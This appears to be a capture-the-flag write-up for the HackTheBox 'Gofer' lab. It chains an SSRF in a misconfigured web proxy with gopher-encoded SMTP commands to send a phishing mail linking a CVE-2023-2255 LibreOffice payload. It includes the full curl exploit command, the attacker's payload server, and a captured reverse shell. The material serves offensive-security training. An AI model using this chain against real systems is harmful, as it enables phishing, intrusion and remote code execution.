Phishing to RCE via SSRF


  • A mail found in the SMB server revealed the presence of on-going development web proxy and it was located at the later stage; proxy.gofer.htb
  • The proxy server turned out to have its access control module misconfigured, Apache’s <Limit>, which has lead me to access the proxying feature itself through the mined parameter at the endpoint; index.php?url=
  • SSRF was confirmed through the proxy server above
  • The sensitive information found in the mail also disclosed an internal mailing service that is accessible through SSRF with gopher protocol
  • The suggestion made in the mail to use the .odt format implied the use of LibreOffice

While there are a lot of exploits targeting LibreOffice, [[Gofer_CVE-2023-2255#[CVE-2023-2255](https //nvd.nist.gov/vuln/detail/CVE-2023-2255)|CVE-2023-2255]] appears to be most promising as it is the most recent RCE Here, I will attempt to gain a foothold by putting everything together.

phishing.mail


Updating the phishing.mail according to the current scope and conditions

  • It now has 127.0.0.1 instead of localhost to avoid the blacklist filter
  • The generated payload is attached to the body; design.odt
┌──(kali㉿kali)-[~/archive/htb/labs/gofer]
└─$ simplehttp . 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Serving the payload on the Kali’s web server

┌──(kali㉿kali)-[~/archive/htb/labs/gofer]
└─$ hurl -D -f phising.mail
 
Original file :: phising.mail
2xURL ENcoded :: HELO%2520127.0.0.1%250AMAIL%2520FROM%253A%253Cjdavis%2540gofer.htb%253E%250ARCPT%2520TO%253A%253Cjhudson%2540gofer.htb%253E%250ADATA%250AFrom%253A%2520%253Cjdavis%2540gofer.htb%253E%250ATo%253A%2520%253Chudson%2540gofer.htb%253E%250ADate%253A%2520Tue%252C%252015%2520Sep%25202023%252017%253A20%253A26%2520-0400%250ASubject%253A%2520Click%2520Me%250A%250Ahttp%253A%252F%252F10.10.14.20%253A80%252Fdesign.odt%250A.%250AQUIT

The mail itself need to be encoded in the double-url format

Exploitation


┌──(kali㉿kali)-[~/…/htb/labs/gofer/CVE-2023-2255]
└─$ curl -x post -i 'http://proxy.gofer.htb/index.php?url=gopher://0.0.0.0:25/HELO%2520127.0.0.1%250AMAIL%2520FROM%253A%253Cjdavis%2540gofer.htb%253E%250ARCPT%2520TO%253A%253Cjhudson%2540gofer.htb%253E%250ADATA%250AFrom%253A%2520%253Cjdavis%2540gofer.htb%253E%250ATo%253A%2520%253Chudson%2540gofer.htb%253E%250ADate%253A%2520Tue%252C%252015%2520Sep%25202023%252017%253A20%253A26%2520-0400%250ASubject%253A%2520Click%2520Me%250A%250Ahttp%253A%252F%252F10.10.14.20%253A80%252Fdesign.odt%250A.%250AQUIT'
HTTP/1.1 200 OK
date: Mon, 31 Jul 2023 17:41:12 GMT
server: Apache/2.4.56 (Debian)
vary: Accept-Encoding
content-length: 231
content-type: text/html; charset=UTF-8
 
<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
502 5.5.2 error: command not recognized
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 ok: queued as CC4C08154
221 2.0.0 Bye
1                                                                                                                                        

Delivery complete

I got a hit on the Kali’s web server, indicating the successful fetch by the jhudson user

┌──(kali㉿kali)-[~/archive/htb/labs/gofer]
└─$ nnc 9999                                       
listening on [any] 9999 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.225] 37170
whoami
jhudson
hostname
gofer.htb
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:0b:c9 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.225/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever

Initial Foothold established to the target system as the jhudson user via phishing